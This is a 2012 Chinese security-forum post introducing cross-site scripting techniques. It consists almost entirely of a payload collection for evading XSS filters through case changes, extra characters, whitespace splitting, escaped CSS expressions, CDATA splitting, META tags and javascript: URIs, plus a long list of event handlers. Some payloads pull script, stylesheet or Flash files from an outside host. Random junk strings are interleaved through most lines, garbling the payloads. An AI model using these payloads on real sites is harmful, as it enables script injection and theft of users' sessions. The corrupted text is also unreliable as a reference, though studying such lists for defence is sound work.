找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2264|回复: 0
打印 上一主题 下一主题

Cross Site Scripting(XSS)攻击手法介绍

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-31 09:59:28 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1. 改变字符大小写
0 _* Q( h- S2 S5 G& l0 Q, k# t; R0 g+ Z$ Q0 b) h3 L
8 E. t8 P  O9 I2 P. R" V- W
5 I: v  [! T" d% w5 Z+ h
    <sCript>alert(‘d’)</scRipT>1 p2 r1 F8 F" y& o9 H7 m; w3 @) y
$ b& r! w2 U4 w( T3 Q
2. 利用多加一些其它字符来规避Regular Expression的检查) l3 F: F- ~- M/ [6 N# I7 v
: U  ~2 g- H" j5 s
    <<script>alert(‘c’)//<</script>! D" f( u6 `5 L5 h+ q4 P

: v; `8 L" l6 f' H    <SCRIPT a=">" SRC="t.js"></SCRIPT>. L- J# R( p- d/ t1 D

- }* ]' t( {$ s9 L; z, |9 X    <SCRIPT =">" SRC="t.js"></SCRIPT>: G! ^% z# V! v. F! d: i

' J. h7 Q# a1 ^3 N# s; o    <SCRIPT a=">" ” SRC="t.js"></SCRIPT>
' q$ g5 `4 x5 _" a' H% o0 Y/ _0 T, S7 G3 @( P+ w5 E) E% b
    <SCRIPT "a=’>’" SRC="t.js"></SCRIPT>
) ]) O) }- t7 `% O" l6 E( o  y- n
2 D; U  X# M7 l. w7 _9 g. q    <SCRIPT a=`>` SRC="t.js"></SCRIPT>/ W! Q, \' K% s5 z$ T
1 V( v$ S1 j7 c1 R. i* x
    <SCRIPT a=">’>" SRC="t.js"></SCRIPT>
9 X- ~: U; j$ q. g# E+ t+ s, r
  [. d  l/ I" Y3. 以其它扩展名取代.js$ t3 _  X# z9 c

' V3 f: S; L' a- e4 l- v    <script src="bad.jpg"></script>" {  g( T: R* C: o' y# ]

& j3 e! W) y9 U7 a6 `4. 将Javascript写在CSS档里
) ]! _1 ]5 z6 E1 q
& R6 I4 q! k& G/ C6 F( Z9 y    <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">; H# I2 ?3 W; P. u& O" i$ F

# r( J! {# k' d2 u$ Y3 y       example:. q+ S& w' U4 P( d
/ k0 m  ~- s; @, }" u; L% `
          body {& v- r) e, I3 \& L: m* K

4 x& Y- f. O* J  w" E9 k% ^- y               background-image: url(‘javascript:alert("XSS");’)' @! V( P, j. m7 Z5 v

' x2 v$ X, a+ |& z2 g          }
( ?" X/ K4 J, y* {
) k! j3 L: [- y) P$ }& c" F) |3 Y$ ^" t5. 在script的tag里加入一些其它字符
! b& U& T- J0 C+ \' U# p" ^- f9 V' a! j; _
    <SCRIPT/SRC="t.js"></SCRIPT>
" y  x9 J- M) S
* H, t6 v3 ~+ H3 ~1 D    <SCRIPT/anyword SRC="t.js"></SCRIPT>
9 y" {  Y" X3 c. k* ?# {, a4 e3 S! W3 [2 G! B  B; @
6. 使用tab或是new line来规避0 |5 G8 ]0 Q$ P
; H3 p9 H' ^1 t* `! j& q
    <img src="jav ascr ipt:alert(‘XSS3′)">4 W! z3 ?. a6 U+ K+ s" O: O7 Z
# I" H4 }" `5 o) s
    <img src="jav ascr ipt:alert(‘XSS3′)">
( A) n) s! H9 g. l% o% h9 X, D. Z: a
( U& I6 U& R' f$ N    <IMG SRC="jav ascript:alert(‘XSS’);">( `. B. Z# O$ e

: t9 I$ V0 {8 q$ x+ @1 X+ a7 n5 t$ K         -> tag
) _9 e4 c8 Q. G2 B2 U  ], L+ H* E3 `; V# v" v
         -> new line' m/ ?$ {# u) j# I
. U, ]$ Q. a" }& o
7. 使用"\"来规避
0 x# u0 o# D: n4 J7 i/ q1 V& i; |% ?2 F
    <STYLE>@im\port’\ja\vasc\ript:alert("XSS32")’;</STYLE>; T; \6 C% X" U2 ]
8 a# O- Y4 _/ S3 o" P
    <IMG STYLE=’xss:expre\ssion(alert("XSS33"))’>
8 s. g7 ^) d- \+ T; M: a
% ^3 {* n, a" o/ q4 U1 L, X    <IMG STYLE="xss:expr/*anyword*/ession(alert(‘sss’))">) [+ [  _- s( ]7 M

- g' f  r' X( {# h; J  l% }    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">3 {# L3 c4 s- N$ l
# L* u  _- V$ y) L) E
    <A STYLE=’no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))’>
" N2 T6 b0 v  x  _: C+ D. E( L5 P' _1 j9 C1 z. S+ V+ M
8. 使用Hex encode来规避(也可能会把";"拿掉)' y) [9 J( z2 t( h1 R, c# b5 m

: m2 {. b( i: h- u2 ~3 Z    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">8 Z0 k# D7 B5 x/ G: P
# U2 p5 Y% C# g: r- x1 ?" ^
        原始码:<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">0 s' [5 z6 O' f6 m
7 J) b  u$ D; W/ g
    <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">
& |4 k& X# Y/ v  t* \4 u* A# J2 p: H- p/ q
        原始码:<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">3 F/ l! K4 q- G
3 s% h$ F: t4 B. _0 l! {1 \
9. script in HTML tag+ V. k: r+ L1 x/ F

% x1 W" U, G/ q$ E    <body onload=」alert(‘onload’)」>9 P4 F7 l( U. g& @9 w; S( m2 O4 ?
1 K) b% Z' J' a% z  u
        onabort, onactivate, onafterprint, onafterupdate, onbeforeactivate, onbeforecopy, onbeforecut, onbeforedeactivate, onbeforeeditfocus, onbeforepaste, onbeforeprint, onbeforeunload, onbeforeupdate, onblur, onbounce, oncellchange, onchange, onclick, oncontextmenu, oncontrolselect, oncopy, oncut, ondataavailable, ondatasetchanged, ondatasetcomplete, ondblclick, ondeactivate, ondrag, ondragend, ondragenter, ondragleave, ondragover, ondragstart, ondrop, onerror, onerrorupdate, onfilterchange, onfinish, onfocus, onfocusin, onfocusout, onhelp, onkeydown, onkeypress, onkeyup, onlayoutcomplete, onload, onlosecapture, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onmove, onmoveend, onmovestart, onpaste, onpropertychange, onreadystatechange, onreset, onresize, onresizeend, onresizestart, onrowenter, onrowexit, onrowsdelete, onrowsinserted, onscroll, onselect, onselectionchange, onselectstart, onstart, onstop, onsubmit, onunload8 _3 x- O( I+ H0 X- U4 p
3 L- ], H( Y3 U" _
10. 在swf里含有xss的code+ [2 g$ ^& Z7 D8 F) S4 a
6 p! M( B# U2 w3 L$ Q
    <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
. V3 ]2 B3 w3 o1 u& ^# u/ U7 {( H
# h' S. X( \' I# c% _# a- l11. 利用CDATA将xss的code拆开,再组合起来。
; {/ e; ^+ E7 b  D$ O: t! k: V1 j# {$ n; \
    <XML ID=I><X><C>6 A  ~4 w" ]6 X( v; \

6 w, }4 X5 [' y# Z: Y0 y    <![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>4 y5 T9 G/ C! g+ N

9 L: K2 Z0 M- L% \& ~+ S    </C></X>6 k# x% Z5 X8 V' I
; t1 u& |  \* t4 m" ]8 J, z
    </xml>; k% Z5 Z! X# r! [; P: D# Z" v! y+ n! d

% L" Z: K0 B$ y' @) K2 [    <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
$ `& A+ l) u  H  }. h; V! t) p/ `! z# S/ F
    <XML ID="xss"><I><B><IMG SRC="javas<!– –>cript:alert(‘XSS’)"></B></I></XML>  M7 m( H  L( w+ ]( N0 G
( g' B' T7 H' w% ]/ i
    <SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
6 r% R* q# u& q! E/ M: |$ @6 {/ Y
12. 利用HTML+TIME。# N8 l( e) Y& G+ V6 t+ J! `5 i

! F6 C' _8 m* |, K+ Q$ Y/ l! V' v0 C    <HTML><BODY>
- d* e9 h3 G) z5 o
9 L+ S/ e% m. ?. w    <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
# @7 G% H; m3 ?/ F
+ v7 {: y8 M4 U- E9 T    <?import namespace="t" implementation="#default#time2">
9 y' Y* B7 w0 M2 B8 U1 X; z3 X! o
" z% X. S" u6 l2 [    <t:set attributeName="innerHTML" to="anyword<SCRIPTDEFER>alert("XSS")</SCRIPT>">
/ W7 f$ u3 B- R
; ~9 w& ^) T9 `    </BODY></HTML>
5 v: }5 C1 \# B  O) T0 ^! N
- N$ t1 A" B* F9 _% {13. 透过META写入Cookie。, L$ G7 P5 k+ Z/ M. [" r' g7 d/ L

) p  `  d4 u0 |0 P' }    <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(‘XSS’)</SCRIPT>">  O  w( j( x5 w( G6 ]* [0 {

/ W/ k' Z+ k- s4 y& g3 l14. javascript in src , href , url5 i  a$ V- ~  F* k3 E

, j# k( N+ Z8 d1 A: u: r( h" L  L    <IFRAME SRC=javascript:alert(’13′)></IFRAME>
# x! D  ?6 L& z* x* D) L) F% |3 s
1 S2 _5 B/ q/ ^2 ~, S    <img src="javascript:alert(‘XSS3′)">
  D2 C( R0 R/ m4 v3 G4 h& T# `# t) d' ~$ ]: c$ v
<IMG DYNSRC="javascript:alert(‘XSS20′)">2 ~$ X5 X+ V0 K
0 S9 }- @$ |3 [+ T* P2 m
    <IMG LOWSRC="javascript:alert(‘XSS21′)">6 A* q  B% t" i

: T  p* L" Z  v" W    <LINK REL="stylesheet" HREF="javascript:alert(‘XSS24′);">% R/ ]; \' I  O2 m+ P4 B9 l& B

0 N/ p: o7 ], D3 `* T8 E2 }# w    <IFRAME SRC=javascript:alert(‘XSS27′)></IFRAME>
' H& S) d" w) X! w/ q; U  J3 z
" p4 U; M6 a/ |6 v8 x    <TABLE BACKGROUND="javascript:alert(‘XSS29′)">% y7 J1 X. y& f& o7 p* m4 X
) C( [) X) a  a+ b# u! K9 m  Q
    <DIV STYLE="background-image: url(javascript:alert(‘XSS30′))">7 [& E% }3 L+ p' h5 Y+ M
% g, c; \' y- X
    <STYLE TYPE="text/css">.XSS{background image:url("javascript:alert(‘XSS35′)");}
% E* B/ ~4 ~( `( g" S1 E+ O9 d$ i3 m+ ~( i7 K5 W$ P
    </STYLE><A CLASS=XSS></A>
, G" p; U% Y" q% U, u1 \4 d" L0 M( p2 `. X3 k3 j1 C
    <FRAMESET><FRAME SRC="javascript:alert(‘XSS’);"></FRAMESET>
7 _9 l5 @, \( z  R
  q( n' a& ~% n
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表